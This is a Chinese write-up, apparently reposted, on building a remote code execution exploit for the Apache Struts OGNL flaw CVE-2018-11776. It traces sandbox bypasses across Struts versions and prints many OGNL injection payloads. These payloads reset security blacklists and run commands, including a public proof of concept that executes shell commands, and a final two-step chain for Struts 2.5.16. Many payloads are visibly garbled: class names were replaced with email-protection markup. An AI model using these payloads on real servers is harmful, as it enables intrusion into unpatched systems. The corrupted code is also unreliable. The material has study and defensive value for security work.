内容简介:本文讲述如何构建CVE-2018-11776的漏洞利用。首先介绍一些背景和概念以帮助理解OGNL利用的过程。首先介绍下OGNL的基本概念。在Struts的中,OGNL可以使用#符号访问全局对象。本文介绍一些可以访问的对象,其中列出的对象中有两个对构建exp非常关键。第一个对象是 _memberAccess,这是用来控制OGNL 行为的SecurityMemberAccess对象,另一个是context,这是允许访问更多的其他对象的context图。获取对 _memberAccess的访问权限可以轻易地修改
本文讲述如何构建CVE-2018-11776的漏洞利用。
Struts OGNL利用史
首先介绍一些背景和概念以帮助理解OGNL利用的过程。首先介绍下OGNL的基本概念。
OGNL执行环境
在Struts的中,OGNL可以使用#符号访问全局对象。本文介绍一些可以访问的对象,其中列出的对象中有两个对构建exp非常关键。第一个对象是 _memberAccess,这是用来控制OGNL 行为的SecurityMemberAccess对象,另一个是context,这是允许访问更多的其他对象的context图。获取对 _memberAccess的访问权限可以轻易地修改SecurityMemberAccess 的安全设置。比如:
#_memberAccess['allowStaticMethodAccess']=true会修改_memberAccess中的设置。
@[email protected]().exec('xcalc')会弹出一个计算器。
SecurityMemberAccess
Struts用_memberAccess来控制OGNL中允许的行为。最开始使用一些布尔变量(allowPrivateAccess, allowProtectedAccess, allowPackageProtectedAccess, allowStaticMethodAccess)来提供对OGNL访问Java classes方法和成员的访问。默认情况下,这些设置都是false。在之后的版本中,出现了用于拒绝对特定类和package进行访问的3个黑名单,分别是:
·excludedClasses
· excludedPackageNames
· excludedPackageNamePatterns。
不允许使用静态方法,但允许任意构造器(2.3.20之前版本)
默认情况下,_memberAccess 会进行配置会预防对静态、私有和受保护的方法的访问。但是在2.3.14.1版本之前,这可以通过提取#_memberAccess和修改其中的设置来轻松绕过。许多漏洞利用都使用了这样的方法,比如:
(#_memberAccess['allowStaticMethodAccess']=true).(@<a href="/cdn-cgi/l/email-protection" data-cfemail="e58f849384cb89848b82cbb7908b918c8880a5828091b7908b918c8880">[email protected]</a>().exec('xcalc'))
在2.3.14.1及之后版本,allowStaticMethodAccess变成了final,并且不能再修改。但是 _memberAccess允许构造任意类和访问公有方法,执行任意代码就不需要修改中 _memberAccess的设置了:
(#p=new java.lang.ProcessBuilder('xcalc')).(#p.start())
这在2.3.20之前版本都适用。
没有静态方法,没有构建函数,但是允许访问任意类(2.3.20-2.3.29)
在2.3.20版本中,将excludedClasses, excludedPackageNames和excludedPackageNamePatterns类加入了黑名单。另一个变化是拒绝所有constructor调用。这会杀掉ProcessBuilder payload,从这点看,静态方法和constructors都是不允许的,这会对OGNL的功能做出限制。但_memberAccess仍然是可以访问的,静态对象 DefaultMemberAccess 也是可以访问的。
DefaultMemberAccess对象是默认SecurityMemberAccess的一个版本,SecurityMemberAccess允许静态方法和构造函数。所以用DefaultMemberAccess替换_memberAccess就可以了。
#<a href="/cdn-cgi/l/email-protection" data-cfemail="a3fccec6cec1c6d1e2c0c0c6d0d09ee3ccc4cdcf8decc4cdcfe0cccdd7c6dbd7">[email protected]</a>@DEFAULT_MEMBER_ACCESS).(@<a href="/cdn-cgi/l/email-protection" data-cfemail="a8c2c9dec986c4c9c6cf86faddc6dcc1c5cde8cfcddcfaddc6dcc1c5cd">[email protected]</a>().exec('xcalc')
这在2.3.29版本之前都是适用的,而且这是最近的一个利用的重要部分。
对_memberAccess和类不再限制(2.3.30/2.5.2+)
最后, _memberAccess这些简单的技巧都不能用了。类ognl.MemberAccess和 ognl.DefaultMemberAccess都被加入黑名单了。下面看以下如何绕过:
#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@<a href="/cdn-cgi/l/email-protection" data-cfemail="4724282a6928372229343e2a372f28293e693f3028352c75692820292b690820292b12332e2b07242b263434">[email protected]</a>)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@<a href="/cdn-cgi/l/email-protection" data-cfemail="b8d7dfd6d496f7dfd6d4fbd7d6ccddc0ccf8fcfdfef9edf4ec">[email protected]</a>_MEMBER_ACCESS)).(@<a href="/cdn-cgi/l/email-protection" data-cfemail="315b5047501f5d505f561f63445f45585c547156544563445f45585c54">[email protected]</a>().exec('xcalc')
首先注意该利用并不会尝试到达_memberAccess。而是 OgnlUtil 获取的实例,并清除黑名单。那是怎么做到的呢?首先从context map中获取 Container ,其中含有以下key:
Key com.opensymphony.xwork2.ActionContext.container会给出OGNL执行环境中Container的实例:
getInstance 方法会尝试创建一个类OgnlUtil的实例,但因为是singleton(单例模式),所以会返回现有的全局实例。
为了了解全局OgnlUtil对象中的 excludedClasses 与 _memberAccess对象的关系,下面看一下_memberAccess是如何初始化的。
当请求到达时,调用createActionContext方法来创建新的ActionContext。
最终调用OgnlValueStack的setOgnlUtil方法来初始化OgnlValueStack的securityMemberAccess和OgnlUtil的全局实例。
从下面的例子中可以看出,securityMemberAccess和 _memberAccess是一样的。
这意味着OgnlUtil的全局实例与_memberAccess共享相同的excludedClasses, excludedPackageNames, excludedPackageNamePatternsSet,因此清除它们后也清除了_memberAccess中对应的Set。
之后,OGNL可以自由访问 OgnlContext 中的DEFAULT_MEMBER_ACCESS对象和 setMemberAccess 方法来用DEFAULT_MEMBER_ACCES替换_memberAccess,然后执行任意代码。
绕过2.5.16
下面解释如何在2.5.16中绕过安全措施,攻击CVE-2018-11776。
首先看一下公开的漏洞利用POC:
${(#_memberAccess['allowStaticMethodAccess']=true).(#cmd='xcalc').(#iswin=(@<a href="/cdn-cgi/l/email-protection" data-cfemail="d1bbb0a7b0ffbdb0bfb6ff82a8a2a5b4bc91b6b4a581a3bea1b4a3a5a8">[email protected]</a>('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@<a href="/cdn-cgi/l/email-protection" data-cfemail="432c31246d223322202b266d303731363730716d102631352f26370220372a2c2d002c2d37263b3703242637112630332c2d3026">[email protected]</a>().getOutputStream())).(@<a href="/cdn-cgi/l/email-protection" data-cfemail="5f302d38713e2f3e3c373a713c30323230312c7136307116100a2b36332c1f3c302f26">[email protected]</a>(#process.getInputStream(),#ros)).(#ros.flush())}
下面开始构造可以工作的漏洞利用:
(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@<a href="/cdn-cgi/l/email-protection" data-cfemail="4724282a6928372229343e2a372f28293e693f3028352c75692820292b690820292b12332e2b07242b263434">[email protected]</a>)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@<a href="/cdn-cgi/l/email-protection" data-cfemail="4f2028212361002821230c20213b2a373b0f0b0a090e1a031b">[email protected]</a>_MEMBER_ACCESS)).(@<a href="/cdn-cgi/l/email-protection" data-cfemail="b2d8d3c4d39cded3dcd59ce0c7dcc6dbdfd7f2d5d7c6e0c7dcc6dbdfd7">[email protected]</a>().exec('xcalc'))
该漏洞利用并不在2.5.16版本上适用,因为该版本引入了一些新的安全措施。首先,对context和excludedClasses的访问在2.5.13版本中被移除,黑名单在2.5.10版本之后不能修改了。
下面看一下attr:
struts.valueStack的值以OgnlValueStack作为类型。如果想要用OGNL使用的context map,那么OgnlValueStack是一个不错的选择。 getContext 方法可以提供我们想要的context map。所以把刚才的漏洞利用修改为:
(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@<a href="/cdn-cgi/l/email-protection" data-cfemail="7f1c101251100f1a110c06120f17101106510708100d144d511018111351301811132a0b16133f1c131e0c0c">[email protected]</a>)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@<a href="/cdn-cgi/l/email-protection" data-cfemail="59363e373577163e37351a36372d3c212d191d1c1f180c150d">[email protected]</a>_MEMBER_ACCESS)).(@<a href="/cdn-cgi/l/email-protection" data-cfemail="3953584f58175558575e176b4c574d50545c795e5c4d6b4c574d50545c">[email protected]</a>().exec('xcalc'))
但是因为excludedClasses和excludedPackageNames 都不能修改,因为该漏洞利用还是不能工作。
但黑名单其实是可以通过setters修改的:
(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@<a href="/cdn-cgi/l/email-protection" data-cfemail="e685898bc889968388959f8b968e89889fc89e9189948dd4c88981888ac8a981888ab3928f8aa6858a879595">[email protected]</a>)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames('')).(#context.setMemberAccess(@<a href="/cdn-cgi/l/email-protection" data-cfemail="5d323a333173123a33311e3233293825291d19181b1c081109">[email protected]</a>_MEMBER_ACCESS)).(@<a href="/cdn-cgi/l/email-protection" data-cfemail="650f0413044b09040b024b37100b110c08002502001137100b110c0800">[email protected]</a>().exec('xcalc'))
修改后还不能工作,为什么呢?因为excludedClasses集被从 ognlUtil中清除了:
但不在 _memberAccess中:
这是因为在ognlUtil中设置excludedClasses时,会分配excludedClasses一个新的空集而不是修改_memberAccess和ognlUtil引用的集合,所以修改只影响 ognlUtil,而不影响_memberAccess。然后重新发送payload:
成功打开了计算器。是如何做到的呢? _memberAccess是请求到达时,创建新ActionContext过程中创建的临时对象。每次当用 createActionContext 方法创建新的ActionContext时,都会调用 setOgnlUtil 方法使用excludedClasses, excludedPackageNames等创建_memberAccess。重新发送请求后,新创建的_memberAccess会请求其黑名单类和package,运行执行任意代码。
最后形成了两个payload,一个是清空excludedClasses和excludedPackageNames黑名单的:
(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@<a href="/cdn-cgi/l/email-protection" data-cfemail="c5a6aaa8ebaab5a0abb6bca8b5adaaabbcebbdb2aab7aef7ebaaa2aba9eb8aa2aba990b1aca985a6a9a4b6b6">[email protected]</a>)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))
另一个是缓和_memberAccess,执行任意代码:
(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@<a href="/cdn-cgi/l/email-protection" data-cfemail="573830393b791830393b14383923322f231713121116021b03">[email protected]</a>_MEMBER_ACCESS)).(@<a href="/cdn-cgi/l/email-protection" data-cfemail="264c475047084a47484108745348524f4b4366414352745348524f4b43">[email protected]</a>().exec('xcalc'))
顺序发送这两个payload就可以利用CVE-2018-11776执行任意代码。
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- 常见沙箱绕过技术
- 如何绕过Mojave沙箱限制
- Ghostscript 多个-dSAFER 沙箱绕过漏洞
- ghostscript沙箱绕过远程命令执行漏洞预警
- CVE-2019-6116: ghostscript沙箱绕过命令执行漏洞预警
- 作为武器的CVE-2018-11776:绕过Apache Struts 2.5.16 OGNL 沙箱
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
About Face 3
Alan Cooper、Robert Reimann、David Cronin / John Wiley & Sons / 2007-5-15 / GBP 28.99
* The return of the authoritative bestseller includes all new content relevant to the popularization of how About Face maintains its relevance to new Web technologies such as AJAX and mobile platforms......一起来看看 《About Face 3》 这本书的介绍吧!